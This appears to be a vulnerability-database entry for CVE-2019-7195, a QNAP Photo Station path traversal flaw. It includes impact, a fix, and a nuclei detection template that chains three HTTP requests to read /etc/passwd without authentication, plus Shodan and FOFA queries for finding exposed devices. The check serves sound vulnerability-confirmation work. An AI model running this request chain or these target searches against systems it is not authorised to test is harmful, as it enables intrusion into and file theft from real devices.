HexBrain

Browse / CVEs / CVE-2019-7195

CVE-2019-7195· qnap / photo station· CWE-22

QNAP Photo Station - Path Traversal

Exploited in the wild. Listed by CISA on 2022-06-08; known to be used by ransomware.

criticalseverity
9.8CVSS score
89.3%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

QNAP devices running Photo Station contain an external control of file name or path vulnerability allowing remote attackers to access or modify system files.

Impact

Unauthenticated attackers can exploit path traversal to access or modify system files, potentially reading sensitive configuration files and credentials.

Fix

Upgrade to QNAP Photo Station version that addresses this vulnerability or apply vendor-provided patches.

How to confirm it

Send: POST /photo/p/api/album.php ; GET /photo/slideshow.php?album={{album_id}} ; POST /photo/p/api/video.php
Positive when: status_code_3 == 200 and regex('admin:', body_3) and contains_all(header_3, 'video/subtitle', 'filename=')

Run it with nuclei: nuclei -id CVE-2019-7195 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-7195

info:
  name: QNAP Photo Station - Path Traversal
  author: s4e-io
  severity: critical
  description: |
    QNAP devices running Photo Station contain an external control of file name or path vulnerability allowing remote attackers to access or modify system files.
  impact: |
    Unauthenticated attackers can exploit path traversal to access or modify system files, potentially reading sensitive configuration files and credentials.
  remediation: |
    Upgrade to QNAP Photo Station version that addresses this vulnerability or apply vendor-provided patches.
  reference:
    - https://cycrafttechnology.medium.com/qnap-pre-auth-root-rce-affecting-312k-devices-on-the-internet-fc8af285622e
    - https://packetstorm.news/files/id/157857
    - https://github.com/cycraft-corp/cve-2019-7192-check
    - https://github.com/qazbnm456/awesome-cve-poc
    - https://github.com/th3gundy/CVE-2019-7192_QNAP_Exploit
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7195
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-7195
    cwe-id: CWE-22
    epss-score: 0.89323
    epss-percentile: 0.99785
    cpe: cpe:2.3:a:qnap:photo_station:*:*:*:*:*:*:*:*
  metadata:
    vendor: qnap
    product: photo_station
    shodan-query:
      - content-length:"580 "http server 1.0""
      - http.title:"photo station"
      - http.title:"qnap"
    fofa-query:
      - title="photo station"
      - title="qnap"
    google-query:
      - intitle:"photo station"
      - intitle:"qnap"
  tags: cve,cve2019,kev,qnap,lfi,vkev,vuln

http:
  - raw:
      - |
        POST /photo/p/api/album.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        a=setSlideshow&f={{to_lower(rand_text_alpha(5))}}

      - |
        GET /photo/slideshow.php?album={{album_id}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

      - |
        POST /photo/p/api/video.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        album={{album_id}}&a=caption&ac={{access_code}}&f=UMGObv&filename=.%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

    matchers:
      - type: dsl
        dsl:
          - "status_code_3 == 200"
          - "regex('admin:', body_3)"
          - "contains_all(header_3, 'video/subtitle', 'filename=')"
        condition: and

    extractors:
      - type: regex
        name: album_id
        part: body_1
        group: 1
        regex:
          - '<output>([a-zA-Z]+)<\/output>'
        internal: true

      - type: regex
        name: access_code
        part: body_2
        group: 1
        regex:
          - encodeURIComponent\('([A-Za-z0-9]+)'\)
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from